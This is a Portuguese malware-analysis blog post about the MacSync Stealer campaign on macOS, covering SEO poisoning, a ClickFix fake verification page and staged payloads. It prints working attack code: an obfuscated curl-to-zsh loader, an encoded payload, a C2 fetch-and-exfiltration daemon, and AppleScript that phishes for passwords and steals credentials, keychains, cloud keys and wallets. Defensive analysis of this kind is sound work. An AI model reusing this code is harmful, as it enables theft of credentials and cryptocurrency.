Voltar
Malware Intelligence
Tabela de conteúdo

Sumário executivo

Os pesquisadores da CloudSEK identificaram uma cadeia de distribuição de malware em vários estágios para macOS que aproveita o envenenamento por SEO e a engenharia social no estilo ClickFix para distribuir um malware que rouba informações chamado MacSync Stealer.

A campanha começa com resultados de pesquisa maliciosos direcionados a usuários que tentam baixar versões em PDF de livros populares. As vítimas são redirecionadas para uma página de verificação falsa que as instrui a executar um comando malicioso do Terminal. Esse comando inicia um carregador de malware em estágios que recupera cargas adicionais da infraestrutura controlada pelo atacante.

O estágio final implanta um ladrão de informações baseado em AppleScript capaz de coletar credenciais do navegador, carteiras de criptomoedas, chaves SSH, arquivos de configuração de nuvem e documentos confidenciais do usuário. O malware comprime os dados coletados e os exfiltra para um servidor de comando e controle.

A campanha aumenta ainda mais ao direcionar as instalações do Ledger Live, modificando os componentes do aplicativo para potencialmente permitir a manipulação de transações e a persistência financeira a longo prazo.

Análise

Acesso inicial: envenenamento por SEO

A cadeia de infecção começa com o envenenamento por SEO direcionado aos usuários que procuram versões de livros em PDF para download.

Durante a investigação, a seguinte consulta de pesquisa gerou um resultado malicioso:

Minha consulta de pesquisa foi simples:


"Inspired: How To Create Products Customers Love" filetype:pdf

Entre os resultados estava um domínio que parecia hospedar um repositório de documentos acadêmicos:


https://b.mou.ir/renhancef/84974J166D/vallocated/88983JD/inspired__how_to-create__products_customers-love__english-edition.pdf

À primeira vista, o URL parecia legítimo. O nome do arquivo correspondia ao título do livro e a estrutura do domínio se assemelhava a uma plataforma típica de hospedagem de documentos.

No entanto, em vez de entregar um arquivo PDF, o link foi redirecionado para:


https://allfile.me/loading/?t=Inspired%20%20How%20To%20Create%20%20Products%20Customers%20Love%20%20English%20Edition&s=Yi5tb3UuaXI

A página exibia uma tela falsa de verificação humana com um cronômetro de contagem regressiva e um botão “Sou humano”.

Selecionar a opção de verificação redirecionou os usuários para uma página de instruções com tema macOS, instruindo-os a abrir o Terminal e executar um comando.

Essa técnica se alinha às campanhas de engenharia social da ClickFix, nas quais os atacantes convencem as vítimas a executar comandos maliciosos sob o pretexto de resolver problemas de verificação ou download.

A página que hospeda o comando estava localizada em:


https://datacloudhost4.baby/?c=ADtxlGmPdgUAd4oCAElOOQASAAAAAADt

Etapa 1 — Carregador inicial (comando ofuscado)

As vítimas são instruídas a executar o seguinte comando:

echo "Apple-Installer: https://apps.apple.com/hidenn-gift.application/macOsAppleApicationSetup421415.dmg" &&curl -kfsSL $(echo 'ZWNobyAnSW5zdGFsbGluZyBwYWNrYWdlIHBsZWFzZSB3YWl0Li4uJyAmJiBjdXJsIC1rZnNTTCBodHRwOi8vY2FsaWZvcm5pYXRpcmVzaG9wLmNvbS9jdXJsLzM4YzlkODlmODU2MzVkNjk1OTBiMDI4NjBjNWM3NTEyYzY2MTUzYjJkNDhmYTQzOTBkNTBmNDljOWYwNWIwMmV8enNo'|base64 -D)|zsh

O comando parece legítimo. A primeira coisa que ele faz é ecoar uma linha referenciando: https://apps.apple.com/...

Mas o comportamento real está oculto dentro da string codificada em Base64.

Uma vez decodificado, ele revela:

echo 'Installing package please wait...' && curl -kfsSL http://bracesarlington.com/curl/0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de

A segunda parte extrai silenciosamente um script remoto do bracesarlington. com e o canaliza diretamente para zsh para execução.

Etapa 2 — Script ofuscado

O script de segundo estágio recuperado da infraestrutura do invasor contém uma carga útil incorporada codificada em Base64 e compactada usando gzip.

A estrutura do script é semelhante à seguinte:

#!/bin/zsh
d23826=$(base64 -D <<'PAYLOAD_m117191906222546' | gunzip
H4sIABNPlGkAA91WW2/bNhR+9684VRVDasBIsuJLLmoadAEaFGmHpMGCdYVBiZRNWKY0kV4ct/3v
oyxZomQD28texheZhx+/cz/061dOyLizEfMewXSZ8mm84pFkKbds+N4DteiaRnDpEPqXw1dJ0sje
HpANOsIkjXACJF1ixgMjzHFEBc4Txmcy5SdRujQ0mEwXVKFcEtLR2fB0MIq8ASFkFIeeOxnSsT+Z
jM680zN35NHBhGBMvHA8pOGpSyj2fBqP/XBIqE6JMzZd0JfAGHpnLo29se97Ex+7JBr5cTga+P5w
HA9HZKRfillCA8ORy8xJBU7S2UzZe7JhWQliMXwF8zWgmQQXvl2AnFO+PSlWtMoTQAtAAhBa4jWS
bEnBd+GPGlIs9AGMR0FzdD2jXJ7DXbphSYKd4YkL1h2OGJepmF/ALZc0ASWAzw/wBJ479YbTsQ3X
WZbQ32j4kUln6I9P/JFxQINyHyn3z8GsAtEFGXMps3PHMcsUOeSF4yWLruSaBOY2H/3sWf30DPgB
Khgiylkmy3wngv5vvd53N2Za8q8AcXog+XTNJHhd/Fd4BSgGwywKSzH/KPai3n/rsuRUrnLe5ikr
8/2Hx08fpw+3v98EpmV5LrxRsRmcVh/b1qB310/T+5sv97c3D8FEk6+yJMVkypSnFsGSwvGRsJFp
pRnlQiSQY04AzekaJno3F1bTaJ6CeX/96ZfPd9XHbrWvxMlUsE1ZFs1WaRISyyIGR5va7Q55iYjg
qA6MrQUQFfcaxm0Q2wJE/ywS8u9jWV6O5iu+EEU0wWro4FgLNSDwbHB0SSvSLHC3u+e5shoUEYPL
FruCX6gZWNtUXkvjWFBZaGYqfw15xd0AtyRVIBtYDVIKSypldAOFt1oClAHQ77eILN1bVDHsqRar
SA1sUTnYyLGUdJnJwKvltfPVEVwGegkW6isyCAKVqE5IilU05TRKSWEdISrxwa5UQhF4IBYsC8zK
1ShdcRU7zd9WOXX6vVj6hHqCXx+/HMAgpDoCI/Ui4vwF3qFDkP98gu20/OMUKy2uh6036U7bLSCF
Ji4Hjp/BOPpeR/7nIR3daTlTU+MqXLGEaK+ENlbqn/0yPYwTug5M1m93nL5rTQO7ZUGRt2kxHFbq
zlXrqBwNpoaopoAqNrP2Sb3TqjrcPWki1ft0YGLs1q72vdZJ69XbLcuqqv742Lb3iRJKM1Ad56sO
3bXHGxh0oNVwKhZJeaNEeanaaq959mxuTboOoZoxtWk1eb7UXqWeRuH2fvaU1s4fQoV8Z0C/Ubx9
7NxeHZHq8YvZ32XCJlRVCgAA
PAYLOAD_m117191906222546
)
eval "$d23826"

O script executa as seguintes operações:

  1. Decodifica a carga útil Base64
  2. Descompacta o conteúdo usando o gzip
  3. Armazena o script reconstruído na memória
  4. Executa dinamicamente usando eval na memória.

Essa abordagem ajuda a evitar a detecção estática e oculta a verdadeira funcionalidade da carga útil até o tempo de execução.

Decodificado zsh script parecido com o seguinte:

#!/bin/zsh
daemon_function() {
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null
    local domain="bracesarlington.com"
    local token="0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de"
    local api_key="5190ef1733183a0dc63fb623357f56d6"
    local file="/tmp/osalogging.zip"
    if [ $# -gt 0 ]; then
        curl -k -s --max-time 30 \
            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
            -H "api-key: $api_key" \
            "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
    else
        curl -k -s --max-time 30 \
            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
            -H "api-key: $api_key" \
            "http://$domain/dynamic?txd=$token" | osascript
    fi
    if [ $? -ne 0 ]; then
        exit 1
    fi
    if [[ ! -f "$file" || ! -s "$file" ]]; then
        return 1
 fi
    local CHUNK_SIZE=$((10 * 1024 * 1024))
    local MAX_RETRIES=8
    local upload_id=$(date +%s)-$(openssl rand -hex 8 2>/dev/null || echo $RANDOM$RANDOM)
    local total_size
    total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file")
    if [[ -z "$total_size" || "$total_size" -eq 0 ]]; then
        return 1
    fi
    local total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE ))
    local i=0
    while (( i < total_chunks )); do
        local offset=$((i * CHUNK_SIZE))
        local chunk_size=$CHUNK_SIZE
        (( offset + chunk_size > total_size )) && chunk_size=$((total_size - offset))
        local success=0
        local attempt=1
        while (( attempt <= MAX_RETRIES && success == 0 )); do
            http_code=$(dd if="$file" bs=1 skip=$offset count=$chunk_size 2>/dev/null | \
                curl -k -s -X PUT \
                --data-binary @- \
                -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
                -H "api-key: $api_key" \
                --max-time 180 \
                -o /dev/null \
                -w "%{http_code}" \
                "http://$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks" 2>/dev/null)
            curl_status=$?
            if [[ $curl_status -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then
                success=1
            else
                ((attempt++))
                sleep $((3 + attempt * 2))
            fi
        done
   if (( success == 0 )); then
            return 1
        fi
        ((i++))
    done
    rm -f "$file"
    return 0
}
if daemon_function "$@" & then
    exit 0
else
    exit 1
fi

O script é essencialmente um carregador do macOS projetado para buscar instruções de um servidor remoto, executá-las por meio do AppleScript e, em seguida, exfiltrar os dados coletados de volta para o invasor, tudo isso enquanto é executado silenciosamente em segundo plano.

Etapa 3 — A carga útil do MacSync AppleScript

O script reconstruído lança um daemon em segundo plano responsável por:

  • Recuperando instruções adicionais do servidor de comando e controle
  • Executando cargas úteis do AppleScript
  • Carregando dados roubados

O carregador recupera a próxima carga usando uma solicitação semelhante à seguinte:

curl -k -s \
  -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
  -H "api-key: 5190ef1733183a0dc63fb623357f56d6" \
"http://bracesarlington.com/dynamic?txd=0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de&pwd=PASSWORD" \
  -o stage3.applescript

A resposta contém o malware principal do AppleScript responsável pela coleta de dados.

Coleta de credenciais e coleta de dados

O script começa preparando um diretório de trabalho temporário em /tmp/, gerando um nome de pasta aleatório para evitar a fácil detecção de assinaturas.

set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/sync" & randomNumber & "/"

Em seguida, ele tenta obter a senha do usuário. Se uma senha foi passada do estágio do shell, ela a valida usando dscl. Caso contrário, ele exibe uma caixa de diálogo falsa do sistema solicitando que o usuário “insira a senha para continuar”.

on checkvalid(username, password_entered)
        try
                set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
                if result is not equal to "" then
                        return false
                else
                        return true
                end if
        on error
                return false
        end try
end checkvalid

on getpwd(username, writemind, provided_password)
    try
        if provided_password is not equal to "" then
            if checkvalid(username, provided_password) then
                writeText(provided_password, writemind & "Password")
                return provided_password
            end if
        end if
        if checkvalid(username, "") then
            set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk 
\"{print $2}\""
            writeText(result as string, writemind & "masterpass-chrome")
            return ""
        else
            repeat
                                set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
                set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
                set password_entered to text returned of result
                if checkvalid(username, password_entered) then
                    writeText(password_entered, writemind & "Password")
                    return password_entered
                end if
            end repeat
        end if
    end try
    return ""
end getpwd

A senha capturada é gravada no disco e incluída no arquivo exfiltrado.

Extração de credenciais do navegador

O malware enumera diretórios de perfis de navegador para navegadores baseados em Chromium (Chrome, Brave, Edge, Opera, Arc etc.) e navegadores baseados em Gecko (Firefox). Ele tem como alvo arquivos como:

  • Dados de login : credenciais armazenadas
  • Biscoitos : cookies de sessão ativa
  • Dados da Web : dados de preenchimento automático
  • key4.db : chaves de criptografia (Firefox)
  • logins.json : credenciais salvas
  • cookies.sqlite : Armazenamento de sessões do Firefox

Ele também verifica IDs de extensão específicos correspondentes às carteiras criptográficas e extrai o armazenamento de extensões locais e os dados do IndexedDB.

on Chromium(writemind, chromium_map)
        set pluginList to {}
    set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
    set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
    set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
    set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
    set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
    set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
    set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
    set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
    set pluginList to pluginList & {"ppnbnpeolgkicgegkbkbjmhlideopiji", "cejfhijdfemlohmcjknpbeaohedoikpp"}
    set pluginList to pluginList & {"nmhjblhloefhbhgbfkdgdpjabaocnhha", "iklgijhacenjgjgdnpnohbafpbmnccek"}
    set pluginList to pluginList & {"ppkkcfblhfgmdmefkmkoomenhgecbemi", "lgndjfkadlbpaifdpbbobdodbaiaiakb"}
    set pluginList to pluginList & {"bbphmbmmpomfelajledgdkgclfekilei", "bnfooenhhgcnhdkdjelgmmkpaemlnoek"}

        set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
        repeat with chromium in chromium_map
                set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
                try
                        set fileList to list folder item 2 of chromium without invisibles
                        repeat with currentItem in fileList
                                if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
                                        set profileName to (item 1 of chromium & currentItem)
                                        repeat with CFile in chromiumFiles
   set readpath to (item 2 of chromium & currentItem & CFile)
                                                if ((CFile as string) is equal to "/Network/Cookies") then
                                                        set CFile to "/Cookies"
                                                end if
                                                if ((CFile as string) is equal to "/Local Extension Settings/") then
                                                        grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
                                                else if (CFile as string) is equal to "/IndexedDB/" then
                                                        grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
                                                else
                                                        set writepath to savePath & currentItem & CFile
                                                        readwrite(readpath, writepath)
                                                end if
                                        end repeat
                                end if
                        end repeat
                end try
        end repeat
end Chromium

on ChromiumWallets(writemind, chromium_map)
        set pluginList to {}
        set pluginList to pluginList & {"nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa"}
        set pluginList to pluginList & {"hnfanknocfeofbddgcijnmhnfnkdnaad", "fnjhmkhhmkbjkkabndcnnogagogbneec"}
        set pluginList to pluginList & {"acmacodkjbdgmoleebolmdjonilkdbch", "egjidjbpglichdcondbcbdnbeeppgdph"}
        set pluginList to pluginList & {"aholpfdialjgjfhomihkjbmgjidlcdno", "pdliaogehgdbhbnmkklieghmmjkpigpa"}
        set pluginList to pluginList & {"mcohilncbfahbmgdjkbpemcciiolgcge", "hpglfhgfnhbgpjdenjgmdgoeiappafln"}
        set pluginList to pluginList & {"bhhhlbepdkbapadjdnnojkbgioiodbic", "cjmkndjhnagcfbpiemnkdpomccnjblmj"}
        set pluginList to pluginList & {"kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle"}
        set pluginList to pluginList & {"fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd"}
        set pluginList to pluginList & {"kjjebdkfeagdoogagbhepmbimaphnfln", "ldinpeekobnhjjdofggfgjlcehhmanlj"}
        set pluginList to pluginList & {"kpfchfdkjhcoekhdldggegebfakaaiog", "idnnbdplmphpflfnlkomgpfbpcgelopg"}
        set pluginList to pluginList & {"mlhakagmgkmonhdonhkpjeebfphligng", "bipdhagncpgaccgdbddmbpcabgjikfkn"}
        set pluginList to pluginList & {"nhnkbkgjikgcigadomkphalanndcapjk", "klghhnkeealcohjjanjjdaeeggmfmlpl"}
        set pluginList to pluginList & {"ebfidpplhabeedpnhjnobghokpiioolj", "emeeapjkbcbpbpgaagfchmcgglmebnen"}
        set pluginList to pluginList & {"fldfpgipfncgndfolcbkdeeknbbbnhcc", "penjlddjkjgpnkllboccdgccekpkcbin"}

        set chromiumFiles to {"/Local Extension Settings/", "/IndexedDB/"}
        repeat with chromium in chromium_map
                try
                        set fileList to list folder item 2 of chromium without invisibles
                        repeat with currentItem in fileList
                                if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
                                        set profileName to (item 1 of chromium & currentItem)
                                        repeat with CFile in chromiumFiles
                                                set readpath to (item 2 of chromium & currentItem & CFile)
                                                if ((CFile as string) is equal to "/Local Extension Settings/") then
                                                        grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, false)
                                                else if (CFile as string) is equal to "/IndexedDB/" then
                                                        grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, true)
                                                else
                                                        set writepath to savePath & currentItem & CFile
                                                        readwrite(readpath, writepath)
                                                end if
                                        end repeat
                                end if
                        end repeat
                end try
        end repeat
end Chromium

on Gecko(writemind, gecko_map)
        set geckoFiles to {"/cert9.db", "/cookies.sqlite", "/cookies.sqlite-wal", "/formhistory.sqlite", "/key4.db", "/logins-backup.json", "/logins.json", "/signons.sqlite", "/places.sqlite"}
        repeat with gecko in gecko_map
                set savePath to writemind & "Browsers/" & item 1 of gecko & "_"
        try
                        set fileList to list folder item 2 of gecko without invisibles
                        repeat with currentItem in fileList
                                if ((currentItem as string) contains "Profile") or ((currentItem as string) contains ".default") then
                                        set profileName to (item 1 of gecko & currentItem)
                                        repeat with CFile in geckoFiles
                                                set readpath to (item 2 of gecko & currentItem & CFile)
                                                set writepath to savePath & currentItem & CFile
                                                readwrite(readpath, writepath)
                                        end repeat
                                end if
                        end repeat
        end try
    end repeat
end Gecko

Segmentação de carteiras de criptomoedas

O malware visa especificamente extensões de carteira de criptomoedas baseadas em navegador, enumerando diretórios de armazenamento de extensões e dados do IndexedDB.

Além disso, ele copia diretamente os diretórios de carteiras de desktop, como Exodus, Electrum, Atomic, Guarda, Coinomi, Sparrow, Wasabi, Bitcoin Core, e outros.

set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus", library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dash_Core", library & "DashCore/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dogecoin_Core", library & "Dogecoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/BlueWallet", library & "BlueWallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Zengo", library & "Zengo/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trust", library & "Trust Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Live", library & "Ledger Live/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Wallet", library & "Ledger Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trezor Suite", library & "@trezor"}}

Coleta de dados adicionais

Além dos dados do navegador e da carteira, o malware também coleta:

  • Chaveiros macOS
  • ~/.ssh chaves
  • ~/.aws credenciais
  • ~/.kube configurações
  • Arquivos de histórico do Shell (.zsh_history, .bash_history)
  • .gitconfig
  • Cookies do Safari
  • Bancos de dados Apple Notes
  • Dados da sessão do Telegram Desktop
on Telegram(writemind, library)
                try
                        GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Desktop/")
                end try
end Telegram

on Keychains(writemind)
                try
                        do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
                end try
end Keychains
on CloudKeys(writemind)
                try
                        do shell script "cp -r ~/.ssh " & quoted form of (POSIX path of writemind)
                end try
                try
                        do shell script "cp -r ~/.aws " & quoted form of (POSIX path of writemind)
                end try
                try
                        do shell script "cp -r ~/.kube " & quoted form of (POSIX path of writemind)
                end try
end CloudKeys

readwrite(profile & "/.zshrc", writemind & "Profile/.zshrc")
readwrite(profile & "/.zsh_history", writemind & "Profile/.zsh_history")
readwrite(profile & "/.bash_history", writemind & "Profile/.bash_history")
readwrite(profile & "/.gitconfig", writemind & "Profile/.gitconfig")

Ele também realiza uma captura de arquivos direcionada do Desktop, Documentos e Downloads, procurando especificamente por extensões como: .pdf, .docx, .wallet, .key, .keys, .seed, .kdbx, .pem, .ovpn

on FilegrabberFDA(writemind, profile)
        set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
        mkdir(destinationFolderPath)
        try

                set sourceFolders to {profile & "/Downloads/", profile & "/Documents/", profile & "/Desktop/"}
                set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx", "pem", "ovpn"}

                repeat with src in sourceFolders
                        repeat with ext in extensionsList
                                try
                                        set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)
                                        do shell script shellCmd
                                end try
                        end repeat
                end repeat

        end try
        try
                readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
                readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
                readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
        end try
        try
                readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
                readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
                readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")

        end try

end Filegrabber

Exfiltração de dados

Os dados coletados são compactados em um arquivo:


/tmp/osalogging.zip

O arquivo é enviado para o servidor de comando e controle usando solicitações HTTP PUT fragmentadas, permitindo a transferência confiável de grandes conjuntos de dados.

Após a exfiltração bem-sucedida, o arquivo é excluído para remover as evidências locais.

Do ponto de vista da vítima, a instalação simplesmente falha e exibe a seguinte mensagem:


Your Mac does not support this application. Try reinstalling or downloading the version for your system.

try
        do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/osalogging.zip"
end try
try
        do shell script "rm -rf /tmp/sync*"
end try

display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"ОК"}

Do ponto de vista da vítima, o instalador simplesmente falhou.

Na realidade, credenciais, cookies, dados da carteira, chaves SSH, configurações de nuvem e detalhes do sistema já foram arquivados e transmitidos.

Etapa final: adulteração de carteira criptográfica e manipulação pós-comprometimento

A campanha vai além do roubo de dados ao tentar modificar os aplicativos de carteira de criptomoedas.

O malware verifica a presença do Ledger Live em:


/Applications/Ledger Live.app

Se detectado, o malware baixa arquivos controlados pelo invasor de:

https://bracesarlington.com/ledger/live/<token>

O arquivo baixado substitui os componentes internos do aplicativo, como:

app.asar
Info.plist

Após a modificação, o aplicativo é assinado novamente usando:


codesign -f -s -

Conclusão

Esta campanha demonstra como a simples engenharia social combinada com a entrega de carga útil por etapas pode levar ao comprometimento total do sistema no macOS.

Segundos após a execução de um único comando do Terminal, as vítimas podem, sem saber, expor credenciais, carteiras de criptomoedas, configurações de nuvem e outros dados confidenciais.

A adulteração adicional do software de carteira de criptomoedas indica que o objetivo vai além do roubo de credenciais em direção à persistência financeira e à manipulação de transações.

Apêndice

Link do repositório Github: https://github.com/m1r3dk/macsync-stealer-analysis

Indicadores de compromisso (IOCs)

Domínios

  • bracesarlington. com
  • datacloudhost4.baby
  • allfile.me
  • b.mou.ir

Arquivos

  • /tmp/osalogging.zip
  • /tmp/sync *

Cabeçalhos

  • chave de API: 5190ef1733183a0dc63fb623357f56d6

⚠️ Isenção de responsabilidade de pesquisa

Essa análise e o repositório que a acompanha são fornecidos estritamente para fins de pesquisa defensiva, engenharia reversa e desenvolvimento de detecção.

Toda a infraestrutura maliciosa mencionada neste artigo estava ativa durante a análise e ainda pode representar risco. Não execute nenhuma amostra fora de um ambiente de laboratório controlado.

Nenhum item encontrado.

Blogs relacionados